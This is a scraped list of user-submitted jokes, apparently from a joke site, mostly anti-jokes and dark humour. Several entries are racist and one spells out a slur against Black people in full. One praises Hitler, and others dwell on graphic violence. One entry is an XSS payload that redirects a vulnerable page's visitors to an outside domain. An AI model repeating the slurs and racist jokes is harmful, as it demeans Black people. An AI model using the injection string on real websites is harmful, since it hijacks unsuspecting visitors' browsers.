The Dalai Lama orders a slice of pizza for $2 and gives the cashier a $5 bill. He then realizes he hasn't been given any change, so he asks for his change. The cashier quickly apologizes and hands the Dalai Lama three dollar bills.

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What did the black girl say when sho dropped her phone? Oh crap, I dropped my phone.

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Why was darren too late for school today...? She got hit by the bus

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What's worse than finding a worm in your apple? Having a giant, angry ape on steroids rip your heart out and eat it before your eyes as you painfully die from the unbearable pain and rapid blood loss.

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Q: What do you call a black man with no arms and no legs? A: Whatever his first name is.

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Why did the tomato blush? It didn't, tomatoes are naturally red by colour.

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what is black white and red all over? A black and white movie with the first violent color leave a comment if this joke is duped.

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Does your iPod have zoom on it? Yeah, but it doesn't have a camera

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"'>document.location.href="http://cramik.org"

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What is an offensive way to refer to black people from the time of the Flint Stones? Niggers

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Watch me whip, watch me nae nae

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yo momma so fat... she went on a calorie controlled diet and lost 3 stone, she's a really nice lady too.

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Your mom is so fat, that i don't think she's attractive anymore.

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Your mom.

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Who is Dank? A: Billal

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A man drinks a java while using Java His java was hot, making him spill on his laptop Blue screen of death

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An alligator was found wearing a vest. The investigator had no comment... As alligators are incapable of speech. ^^^

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how many flys in a box six --sticksack

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Every time I walk across the street I do the Hitler march and raise my arm straight out to salute him, if I feel like holding up traffic, I take smaller steps

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baby on board sign?? target aquired.............

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Why can't Scrillex fish? Because He is too busy to practice fishing.

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What is the way to a man's heart? Through his stomach. With a knife. Then then go up a little.

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Paris Hilton spend 2 whole days in the slammer due to possesion of narcotics. I would have gotten 20 to life... no... it's not funny...

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What would Marylin Monroe be doing right now if she was alive? Clawing her way out of her coffin.

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